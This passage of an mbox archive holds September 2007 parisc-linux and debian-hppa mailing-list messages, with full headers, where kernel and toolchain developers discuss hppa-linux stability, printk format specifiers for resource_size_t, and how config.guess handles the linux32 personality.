architecture.

The reality is that a lot of work has been needed to keep up with
the rapid changes occuring in the middle of GCC and it has been
difficult to keep things from regressing.  For this to happen,
somebody else would have to do it.  Personally, I would rather
see work on the 64-bit linux userspace.

I must say though that I find the stability and reliability of
hppa-linux much better than it was a year or two ago.  I haven't 
had any crashes, even on SMP machines, with 2.6.22.x.  Applications
also seem to run reliably.  There is some issue with timeouts in
the GCC testsuite, particularly on 64-bit machines.  I think SMP
performance isn't great (e.g., 650 MHz running hpux beats 800 MHz
linux in GCC builds and checks).  Probably, this is the TLB flush
issue and why 2.6.23 is broken currently (Kyle's flush cleanup).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri, 07 Sep 2007 16:47:07 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <46E1808B.20301__17878.285147208$1416624437$gmane$org@scarlet.be>
References: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be> <200708031516.l73FG8jb002491@hiauly1.hia.nrc.ca> <20070803153909.GA7812@fattire.cabal.ca> <46DED07A.1060102@scarlet.be> <20070905155512.GZ14130@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624437 25279 80.91.229.3 (22 Nov 2014 02:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 Helge Deller <deller@gmx.de>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 16:47:28 -0000
Original-Received: from unknown (EHLO oola.is.scarlet.be) [193.74.71.23]
  by mx0.gmx.net (mx086) with SMTP; 07 Sep 2007 18:47:28 +0200
Original-Received: from (ip-213-49-72-176.dsl.scarlet.be [213.49.72.176]) 
	by oola.is.scarlet.be  with ESMTP id l87GlBw31139; 
	Fri, 7 Sep 2007 18:47:12 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070828)
In-Reply-To: <20070905155512.GZ14130@parisc-linux.org>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kbLHbtnPLi5mI/fRZWtpOyBjZml1ZNga
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24794



Matthew Wilcox wrote:
> On Wed, Sep 05, 2007 at 03:51:22PM +0000, Joel Soete wrote:
>> mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?
> 
> You'd also have to teach gcc about it.
> 
What should I teach to gcc?

[zZ] format letter are for printk format size_t
[rR] would be equivalent for printk format resource_size_t

All size_t and resource_size_t are typedef?

Tx,
	j.



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri, 7 Sep 2007 12:50:25 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200709071650.l87GoPTZ020957__36641.6689860218$1416624437$gmane$org@hiauly1.hia.nrc.ca>
References: <46E1808B.20301@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624437 25281 80.91.229.3 (22 Nov 2014 02:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:17 +0000 (UTC)
Cc: matthew@wil.cx,
 kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org,
 deller@gmx.de
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 16:50:29 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx101) with SMTP; 07 Sep 2007 18:50:29 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l87GoQos020958;
	Fri, 7 Sep 2007 12:50:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l87GoPTZ020957;
	Fri, 7 Sep 2007 12:50:25 -0400 (EDT)
In-Reply-To: <46E1808B.20301@scarlet.be> from "Joel Soete" at Sep 7, 2007 04:47:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bbbScsplf2I+KoicY2xoIGpwdWxlc5aA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24795

> Matthew Wilcox wrote:
> > On Wed, Sep 05, 2007 at 03:51:22PM +0000, Joel Soete wrote:
> >> mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?
> > 
> > You'd also have to teach gcc about it.
> > 
> What should I teach to gcc?

Don't try, it's a waste of effort.  Just do the cast to unsigned long long
as previously suggested.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri, 7 Sep 2007 12:53:58 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20070907165358.GF23583__4415.4173265726$1416624438$gmane$org@fattire.cabal.ca>
References: <46E1808B.20301@scarlet.be> <200709071650.l87GoPTZ020957@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624438 25284 80.91.229.3 (22 Nov 2014 02:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:18 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 deller@gmx.de
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2007 17:06:26 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx070) with SMTP; 07 Sep 2007 19:06:26 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 099385840DC;
	Fri,  7 Sep 2007 13:06:22 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7BEF55840D7;
	Fri,  7 Sep 2007 13:06:21 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 105D723E02; Fri,  7 Sep 2007 12:53:59 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200709071650.l87GoPTZ020957@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IbzZc9Ebbmw6bK2HZzdLjCRHUzc4ctHs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24796

On Fri, Sep 07, 2007 at 12:50:25PM -0400, John David Anglin wrote:
> > Matthew Wilcox wrote:
> > > On Wed, Sep 05, 2007 at 03:51:22PM +0000, Joel Soete wrote:
> > >> mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?
> > > 
> > > You'd also have to teach gcc about it.
> > > 
> > What should I teach to gcc?
> 
> Don't try, it's a waste of effort.  Just do the cast to unsigned long long
> as previously suggested.
>

I'd rather do neither. Talking to Viro we've been thinking about
removing the format check attributes from the kernel and using sparse
instead, which is under a bit tighter control.

--Kyle



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Fri, 7 Sep 2007 23:30:54 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440709072030x242e7373gccad036234907ca7__9615.12853759832$1416624438$gmane$org@mail.gmail.com>
References: <20070907005002.GG27404@parisc-linux.org>
	 <200709070125.l871PD6I007142@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624438 25285 80.91.229.3 (22 Nov 2014 02:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:18 +0000 (UTC)
Cc: "Matthew Wilcox" <matthew@wil.cx>,
 varenet@gmail.com,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Sep 2007 03:31:05 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx074) with SMTP; 08 Sep 2007 05:31:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 449702DF60; Sat,  8 Sep 2007 03:38:23 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-1.6 required=4.0 tests=AWL,BAYES_00,SPF_PASS 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from rv-out-0910.google.com (rv-out-0910.google.com [209.85.198.184])
	by murphy.debian.org (Postfix) with ESMTP id 192312DF37
	for <debian-hppa@lists.debian.org>; Sat,  8 Sep 2007 03:38:17 +0000 (UTC)
Original-Received: by rv-out-0910.google.com with SMTP id k20so605038rvb
        for <debian-hppa@lists.debian.org>; Fri, 07 Sep 2007 20:30:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=qifAiFkp38NfU+sBd8PbV4R+QirrHLK2fs7owCzVOIo=;
        b=a5sMqSvkN9Xq10JRadHiAgmYeHHRLn2fD8o33Ncj7nLnJLGTh6n/bJvH348iC0ZBrbNmqlpMsnOrKGvTrGd2tf1n5ukGzb24DsSLl/BE6efPF8WaYFkyS0ZIe1g+fDwulOLv3hQBgqyAi51ui7su+Jh2qXXLXe4kJFVvw4f+Dpo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=jqYvKBfrNgqSExRI8LkMe4uK/goMyB0nm1CehSzCWyWQAcU/vB7/plyzJhNHzvKg/cYWHrk79ij6L6A5swRNwPSPukSrq6TJmwgkeuxPCZT+DWVHJ4OH0m3SzSi2NDO0ywTBBjHd6Hxac5CqAk+UU/eE9JUI6maqNnKE1crGlxc=
Original-Received: by 10.141.172.6 with SMTP id z6mr993762rvo.1189222254821;
        Fri, 07 Sep 2007 20:30:54 -0700 (PDT)
Original-Received: by 10.141.69.2 with HTTP; Fri, 7 Sep 2007 20:30:54 -0700 (PDT)
Original-Sender: patofiero@gmail.com
In-Reply-To: <200709070125.l871PD6I007142@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 08d7c7f674b0370d
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <Lqagh.A.oIB.vkh4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5938
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  8 Sep 2007 03:38:23 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TyLQfsZbPjlsOOrBOTU2XHUzMTE2NUkj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24797

On 9/6/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > On Thu, Sep 06, 2007 at 04:33:00PM -0400, John David Anglin wrote:
> The reality is that a lot of work has been needed to keep up with
> the rapid changes occuring in the middle of GCC and it has been
> difficult to keep things from regressing.  For this to happen,
> somebody else would have to do it.  Personally, I would rather
> see work on the 64-bit linux userspace.

The binutils unification was to give the 64-bit linker the ability to
have multiple stub sections, whose eventual goal waws to aid in the
development of a 64-bit linux userspace.

> I must say though that I find the stability and reliability of
> hppa-linux much better than it was a year or two ago.

Go cow power! Mooooooo!

Cheers,
Carlos.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Sat, 08 Sep 2007 09:43:26 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <46E26EBE.2010909__20770.423502154$1416624438$gmane$org@scarlet.be>
References: <46E1808B.20301@scarlet.be> <200709071650.l87GoPTZ020957@hiauly1.hia.nrc.ca> <20070907165358.GF23583@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624438 25287 80.91.229.3 (22 Nov 2014 02:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:18 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 deller@gmx.de
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Sep 2007 09:43:44 -0000
Original-Received: from unknown (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx058) with SMTP; 08 Sep 2007 11:43:44 +0200
Original-Received: from (ip-213-49-87-114.dsl.scarlet.be [213.49.87.114])
        by guri.is.scarlet.be  with ESMTP id l889hWg17347;
        Sat, 8 Sep 2007 11:43:32 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070828)
In-Reply-To: <20070907165358.GF23583@fattire.cabal.ca>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5FzQdWsPPTRsPujGPjIw0lYxc2tpZMv+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24798



Kyle McMartin wrote:
> On Fri, Sep 07, 2007 at 12:50:25PM -0400, John David Anglin wrote:
>>> Matthew Wilcox wrote:
>>>> On Wed, Sep 05, 2007 at 03:51:22PM +0000, Joel Soete wrote:
>>>>> mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?
>>>> You'd also have to teach gcc about it.
>>>>
>>> What should I teach to gcc?
>> Don't try, it's a waste of effort.  Just do the cast to unsigned long long
>> as previously suggested.
>>
> 
> I'd rather do neither. Talking to Viro we've been thinking about
> removing the format check attributes from the kernel and using sparse
> instead, which is under a bit tighter control.
> 
> --Kyle
> 
> 
Tx for feedback,
	j.



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@mmjgroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Mon, 10 Sep 2007 13:00:52 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20070910190052.GA1818__26271.0745133974$1416624439$gmane$org@mix.mmjgroup.com>
References: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca> <200709061511.38991.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624439 25291 80.91.229.3 (22 Nov 2014 02:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Matthias Klose <doko@cs.tu-berlin.de>,
 debian-hppa@lists.debian.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Sep 2007 19:18:16 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx088) with SMTP; 10 Sep 2007 21:18:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 80C062E036; Mon, 10 Sep 2007 19:18:14 +0000 (UTC)
Old-Return-Path: <lamont@mix.mmjgroup.com>
X-Original-To: lists-debian-hppa@murphy.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with ESMTP id 6E9D92E4BC
	for <lists-debian-hppa@murphy.debian.org>; Mon, 10 Sep 2007 19:00:58 +0000 (UTC)
Original-Received: from murphy.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 06541-04 for <lists-debian-hppa@murphy.debian.org>;
	Mon, 10 Sep 2007 19:00:54 +0000 (UTC)
Original-Received: from mmjgroup.com (mmjgroup.com [192.34.35.33])
	by murphy.debian.org (Postfix) with ESMTP id BAAE22E50A
	for <debian-hppa@lists.debian.org>; Mon, 10 Sep 2007 19:00:54 +0000 (UTC)
Original-Received: from mix.mmjgroup.com (mix.mmjgroup.com [192.34.35.16])
	by mmjgroup.com (Postfix) with ESMTP id 2259E5B7DA;
	Mon, 10 Sep 2007 13:00:53 -0600 (MDT)
Original-Received: by mix.mmjgroup.com (Postfix, from userid 1000)
	id A9CC46C12C; Mon, 10 Sep 2007 13:00:52 -0600 (MDT)
Mail-Followup-To: LaMont Jones <lamont@mmjgroup.com>,
	Mike Frysinger <vapier@gentoo.org>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Matthias Klose <doko@cs.tu-berlin.de>, debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <200709061511.38991.vapier@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Spam-Status: No, score=0.001 tagged_above=3.6 required=5.3
	tests=[BAYES_50=0.001]
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <uoOJND.A.C_.2hZ5GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5961
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 10 Sep 2007 19:18:14 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QaDTDwc7QEVtMujDZnVpbtlKNzg2NYJT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24799

On Thu, Sep 06, 2007 at 03:11:37PM -0400, Mike Frysinger wrote:
> i'm not terribly familiar with the breadth of the parisc family, but isnt 
> 64bit only available with 2.0 ?  so it'd be pretty clean on Linux to say: 
> hppa64-*-linux-* means 64bit userland, everything else is 32bit

Also, with the current config.guess, personality is totally ignored in
favor of looking at the processor model in /proc/cpuinfo.  Not a good
answer.

lamont


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Mon, 10 Sep 2007 19:07:02 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200709102307.l8AN726l019057__48603.5232003362$1416624439$gmane$org@hiauly1.hia.nrc.ca>
References: <20070910190052.GA1818@mix.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624439 25297 80.91.229.3 (22 Nov 2014 02:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: lamont@mmjgroup.com (LaMont Jones)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Sep 2007 23:07:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 11 Sep 2007 01:07:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 820E17DC91;
	Mon, 10 Sep 2007 17:07:49 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Flt1FLqBr5Lc; Mon, 10 Sep 2007 17:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 160C37DC92;
	Mon, 10 Sep 2007 17:07:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EA727DC90
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Sep 2007 17:07:35 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Mt8PzjUMF7GP for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Sep 2007 17:07:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2F8DC7DC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Sep 2007 17:07:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l8AN74Cv019058;
	Mon, 10 Sep 2007 19:07:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l8AN726l019057;
	Mon, 10 Sep 2007 19:07:02 -0400 (EDT)
In-Reply-To: <20070910190052.GA1818@mix.mmjgroup.com> from "LaMont Jones" at
	Sep 10, 2007 01:00:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
